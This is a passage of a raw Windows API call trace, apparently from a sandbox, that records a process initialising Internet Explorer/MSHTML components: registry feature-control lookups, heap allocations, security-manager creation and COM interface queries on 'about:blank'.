samDesired=0x1, phkResult=0x40e90c | out: phkResult=0x40e90c*=0x180) returned 0x0 [0030.396] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40e910 | out: phkResult=0x40e910*=0x17c) returned 0x0 [0030.396] RegOpenKeyExW (in: hKey=0x17c, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x40e8cc | out: phkResult=0x40e8cc*=0x0) returned 0x2 [0030.397] RegOpenKeyExW (in: hKey=0x180, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x40e8cc | out: phkResult=0x40e8cc*=0x0) returned 0x2 [0030.397] RegCloseKey (hKey=0x0) returned 0x6 [0030.397] RegCloseKey (hKey=0x0) returned 0x6 [0030.397] RegCloseKey (hKey=0x180) returned 0x0 [0030.397] RegCloseKey (hKey=0x17c) returned 0x0 [0030.397] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x97c) returned 0x783f90 [0030.397] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x480) returned 0x784918 [0030.397] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.397] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.397] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.397] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0030.397] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x783ad0 [0030.397] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x783b28 [0030.398] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x783b80 [0030.398] GetCurrentThreadId () returned 0x10c [0030.398] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b890 [0030.398] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x2c) returned 0x76d808 [0030.398] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x80) returned 0x783bd8 [0030.398] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc056 [0030.398] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7734f8 [0030.398] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1 [0030.398] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x73888cd4, dwReserved=0x0 | out: ppSM=0x73888cd4*=0x783c60) returned 0x0 [0030.402] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x64) returned 0x77f620 [0030.402] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x77f690 [0030.402] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x28) returned 0x76d120 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x773518 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x769220 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x769270 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x77f6e8 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x64) returned 0x77f218 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x7692c0 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x77f288 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xec) returned 0x77f2f0 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x769310 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x769360 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x7693b0 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x784fc0 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x785028 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x769400 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x769450 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x90) returned 0x785090 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x140) returned 0x785128 [0030.403] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x77bc70 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x28) returned 0x76d150 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x773538 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xd0) returned 0x77c928 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x38) returned 0x7832f0 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x128) returned 0x785270 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x148) returned 0x7853a0 [0030.404] GetCurrentThreadId () returned 0x10c [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x5c) returned 0x7854f0 [0030.404] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x773558 [0030.404] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x40ecbc | out: ppURI=0x40ecbc*=0x77c0c4) returned 0x0 [0030.404] IUri:GetPropertyDWORD (in: This=0x77c0c4, uriProp=0x11, pdwProperty=0x40eca4, dwFlags=0x0 | out: pdwProperty=0x40eca4*=0x11) returned 0x0 [0030.404] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x7846c4, dwReserved=0x0 | out: ppSM=0x7846c4*=0x785558) returned 0x0 [0030.405] IInternetSecurityManager:SetSecuritySite (This=0x785558, pSite=0x7846cc) returned 0x0 [0030.405] IUnknown:AddRef (This=0x7846cc) returned 0x28 [0030.405] IUnknown:QueryInterface (in: This=0x7846cc, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x40ec74 | out: ppvObject=0x40ec74*=0x7846d0) returned 0x0 [0030.405] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x785580 | out: ppvObject=0x785580*=0x0) returned 0x80004002 [0030.405] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x78557c | out: ppvObject=0x78557c*=0x0) returned 0x80004002 [0030.405] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x785578 | out: ppvObject=0x785578*=0x0) returned 0x80004002 [0030.405] IUnknown:Release (This=0x7846d0) returned 0x0 [0030.405] IInternetSecurityManager:GetSecurityId (in: This=0x785558, pwszUrl="about:blank", pbSecurityId=0x40ed10, pcbSecurityId=0x40ed04*=0x200, dwReserved=0x0 | out: pbSecurityId=0x40ed10*=0x61, pcbSecurityId=0x40ed04*=0xf) returned 0x0 [0030.418] DllGetClassObject (in: rclsid=0x781a5c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x40e290*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40d948 | out: ppv=0x40d948*=0x73888c70) returned 0x0 [0030.418] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0030.418] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.418] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40e50c | out: ppvObject=0x40e50c*=0x73888c70) returned 0x0 [0030.418] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.418] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e6cc | out: ppvObject=0x40e6cc*=0x73888c7c) returned 0x0 [0030.418] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.419] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x773618, cchResult=0xc, pcchResult=0x40e714, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x40e714*=0xc) returned 0x0 [0030.419] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x77fed8 [0030.419] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.419] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77fed8 | out: hHeap=0x750000) returned 1 [0030.419] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.419] DllGetClassObject (in: rclsid=0x781a5c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40e5e0 | out: ppv=0x40e5e0*=0x73888c70) returned 0x0 [0030.419] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e6cc | out: ppvObject=0x40e6cc*=0x73888c7c) returned 0x0 [0030.419] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.419] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x773618, cchResult=0xc, pcchResult=0x40e724, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40e724*=0x0) returned 0x800c0011 [0030.419] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.419] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.419] IUnknown:Release (This=0x77c0c4) returned 0x2 [0030.419] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.420] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xf) returned 0x77b8f0 [0030.420] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b938 [0030.420] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x40ece4, dwReserved=0x0 | out: ppSM=0x40ece4*=0x787580) returned 0x0 [0030.420] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xf) returned 0x77b950 [0030.420] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x7874c8 [0030.421] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40ee94 | out: phkResult=0x40ee94*=0x1c0) returned 0x0 [0030.421] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40ee98 | out: phkResult=0x40ee98*=0x1cc) returned 0x0 [0030.421] RegOpenKeyExW (in: hKey=0x1cc, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x40ee54 | out: phkResult=0x40ee54*=0x0) returned 0x2 [0030.421] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x40ee54 | out: phkResult=0x40ee54*=0x0) returned 0x2 [0030.421] RegCloseKey (hKey=0x0) returned 0x6 [0030.421] RegCloseKey (hKey=0x0) returned 0x6 [0030.421] RegCloseKey (hKey=0x1c0) returned 0x0 [0030.421] RegCloseKey (hKey=0x1cc) returned 0x0 [0030.422] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x128) returned 0x78a690 [0030.422] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78a7c0 [0030.422] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b980 [0030.422] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x2000) returned 0x78a818 [0030.422] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78c820 [0030.422] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78c820 | out: hHeap=0x750000) returned 1 [0030.422] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.422] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x40ecd8 | out: ppURI=0x40ecd8*=0x77c0c4) returned 0x0 [0030.423] DllGetClassObject (in: rclsid=0x781a5c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40e5b0 | out: ppv=0x40e5b0*=0x73888c70) returned 0x0 [0030.423] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e69c | out: ppvObject=0x40e69c*=0x73888c7c) returned 0x0 [0030.423] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.423] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x773618, cchResult=0xc, pcchResult=0x40e6e4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x40e6e4*=0xc) returned 0x0 [0030.423] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x77fed8 [0030.423] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.423] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77fed8 | out: hHeap=0x750000) returned 1 [0030.423] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.423] DllGetClassObject (in: rclsid=0x781a5c*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40e5b0 | out: ppv=0x40e5b0*=0x73888c70) returned 0x0 [0030.424] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e69c | out: ppvObject=0x40e69c*=0x73888c7c) returned 0x0 [0030.424] IUnknown:Release (This=0x73888c70) returned 0x1 [0030.424] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x773618, cchResult=0xc, pcchResult=0x40e6f4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40e6f4*=0x0) returned 0x800c0011 [0030.424] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.424] IUnknown:Release (This=0x73888c7c) returned 0x1 [0030.424] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.424] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.424] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0030.425] IUnknown:Release (This=0x77c0c4) returned 0x2 [0030.425] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x2c) returned 0x76d840 [0030.425] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7648a0 [0030.425] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x5c) returned 0x78c820 [0030.425] GetDC (hWnd=0x0) returned 0xfffffffff40106dc [0030.425] GetDeviceCaps (hdc=0xf40106dc, index=88) returned 96 [0030.425] ReleaseDC (hWnd=0x0, hDC=0xf40106dc) returned 1 [0030.425] MulDiv (nNumber=100000, nNumerator=96, nDenominator=96) returned 100000 [0030.425] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40ef30 | out: phkResult=0x40ef30*=0x158) returned 0x0 [0030.426] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40ef34 | out: phkResult=0x40ef34*=0x1c0) returned 0x0 [0030.426] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x40eef0 | out: phkResult=0x40eef0*=0x0) returned 0x2 [0030.426] RegOpenKeyExW (in: hKey=0x158, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x40eef0 | out: phkResult=0x40eef0*=0x0) returned 0x2 [0030.426] RegCloseKey (hKey=0x0) returned 0x6 [0030.426] RegCloseKey (hKey=0x0) returned 0x6 [0030.426] RegCloseKey (hKey=0x158) returned 0x0 [0030.426] RegCloseKey (hKey=0x1c0) returned 0x0 [0030.426] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b620 [0030.426] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x44) returned 0x7694a0 [0030.426] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x5c) returned 0x78c888 [0030.426] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0030.426] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0030.426] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0030.426] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockShared") returned 0x77352560 [0030.427] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0030.427] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockShared") returned 0x773525a9 [0030.427] RtlInitializeConditionVariable () returned 0x78c8bc [0030.427] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x34) returned 0x78c8f0 [0030.427] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x34) returned 0x78c930 [0030.427] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x773618 [0030.427] IUnknown:AddRef (This=0x783f90) returned 0x0 [0030.427] IUnknown:Release (This=0x783f90) returned 0x1 [0030.427] IUnknown:Release (This=0x73888cb0) returned 0x1 [0030.427] IUnknown:QueryInterface (in: This=0x783f90, riid=0x7350b75c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40fcfc | out: ppvObject=0x40fcfc*=0x783f90) returned 0x0 [0030.427] IUnknown:Release (This=0x783f90) returned 0x1 [0030.427] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x76d1b0 [0030.431] IUnknown_QueryService (in: punk=0x738896a4, guidService=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x783fe8 | out: ppvOut=0x783fe8*=0x0) returned 0x80004005 [0030.431] IUnknown:QueryInterface (in: This=0x738896a4, riid=0x753c42d8*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x40fc78 | out: ppvObject=0x40fc78*=0x738896b8) returned 0x0 [0030.431] IServiceProvider:QueryService (in: This=0x738896b8, guidService=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7351880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x783fe8 | out: ppvObject=0x783fe8*=0x0) returned 0x80004005 [0030.431] IUnknown:Release (This=0x738896b8) returned 0x1 [0030.431] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x34) returned 0x78c970 [0030.431] IInternetSecurityManager:SetSecuritySite (This=0x785558, pSite=0x7846cc) returned 0x0 [0030.431] IUnknown:Release (This=0x7846cc) returned 0x0 [0030.431] IUnknown:AddRef (This=0x7846cc) returned 0x28 [0030.431] IUnknown:QueryInterface (in: This=0x7846cc, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x40fcb0 | out: ppvObject=0x40fcb0*=0x7846d0) returned 0x0 [0030.431] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x785580 | out: ppvObject=0x785580*=0x0) returned 0x80004002 [0030.431] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x78557c | out: ppvObject=0x78557c*=0x0) returned 0x80004002 [0030.432] IServiceProvider:QueryService (in: This=0x7846d0, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x785578 | out: ppvObject=0x785578*=0x738896bc) returned 0x0 [0030.432] IUnknown:Release (This=0x7846d0) returned 0x0 [0030.432] CoTaskMemAlloc (cb=0x6d) returned 0x78c9b0 [0030.432] CoTaskMemAlloc (cb=0x9) returned 0x764858 [0030.432] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x78ca40 [0030.432] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78ce28 [0030.433] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0030.433] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x44) returned 0x7694f0 [0030.434] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x78ca58 [0030.434] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x78ca70 [0030.435] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4) returned 0x77bd40 [0030.435] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x77fd98 [0030.436] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x78ca88 [0030.436] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x94) returned 0x78ce80 [0030.436] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x34) returned 0x78cf20 [0030.436] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x70) returned 0x78cf60 [0030.437] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xf8) returned 0x78cfd8 [0030.437] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8b4) returned 0x78d0d8 [0030.437] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x78caa0 [0030.437] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.437] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x78cab8 [0030.437] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x84) returned 0x78d998 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x800) returned 0x78da28 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x800) returned 0x78e230 [0030.440] RtlAllocateHeap (HeapHandle=0x750000, 